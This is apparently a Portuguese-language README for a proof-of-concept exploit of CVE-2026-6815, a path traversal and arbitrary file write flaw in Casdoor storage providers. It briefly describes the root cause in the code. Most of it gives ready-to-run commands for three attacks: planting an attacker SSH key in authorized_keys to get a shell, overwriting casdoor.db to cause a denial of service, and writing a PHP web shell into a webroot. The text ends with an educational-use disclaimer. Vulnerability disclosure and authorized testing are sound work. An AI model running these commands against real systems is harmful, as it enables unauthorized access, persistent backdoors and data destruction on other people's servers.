
Exploração PoC de path traversal autenticado e escrita arbitrária de arquivos para Casdoor <3.54.1, permitindo RCE por meio de injeção de chave SSH, upload de web shell ou DoS persistente por meio de corrupção do banco de dados.
Este repositório contém um exploit de Prova de Conceito (PoC) para CVE-2026-6815, uma vulnerabilidade de escrita arbitrária de ficheiros e path traversal no Casdoor.
A vulnerabilidade foi corrigida na versão 3.54.1.
O atacante deve estar autenticado na instância do Casdoor com privilégios de administrador ou utilizador equivalente com acesso para criar e/ou editar fornecedores de armazenamento.
.ssh/authorized_keys, crontabs ou webroots.casdoor.db) ou binários principais com ficheiros arbitrários, interrompendo imediatamente a aplicação.O Casdoor permite que administradores configurem fornecedores de armazenamento. O fornecedor Local File System não consegue sanitizar adequadamente a configuração pathPrefix e o parâmetro fullFilePath durante o upload de recursos.
Ao usar sequências de navegação de diretórios (../), um administrador autenticado pode escapar do diretório de armazenamento dedicado e escrever ficheiros em qualquer lugar onde o processo do Casdoor tenha permissões.
A vulnerabilidade decorre de validação insuficiente de caminho em:
object/provider.go: Sem validação no pathPrefix durante criação/atualização.storage/local_file_system.go: O método GetFullPath não verifica se o caminho resolvido permanece dentro da sandbox pretendida.Instalar dependências:
pip install -r requirements.txt
Executar o exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Escreva uma chave pública controlada pelo atacante no ficheiro authorized_keys do utilizador casdoor para obter acesso SSH.
Gerar a chave ssh:
ssh-keygen -f casdoor_rce
Substituir authorized_keys pela chave pública gerada:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Obter shell ssh no host remoto usando a chave privada:
ssh -i ./casdoor_rce casdoor@target
Substitua o ficheiro de base de dados local da aplicação (ex.: casdoor.db) para causar uma negação de serviço.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Se o servidor estiver a alojar um servidor web secundário (ex.: Apache/Nginx) no mesmo sistema de ficheiros, escreva uma web shell na sua raiz de documentos.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Se tiver credenciais administrativas para uma organização e aplicação específicas (que não as predefinidas built-in e app-built-in), especifique-as usando --orgname e --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Este software destina-se apenas a fins educativos e de testes de segurança autorizados. O autor não se responsabiliza por qualquer uso indevido desta informação.
Vulnerabilidade descoberta e PoC desenvolvida por Danilo Dell'Orco (sixpain).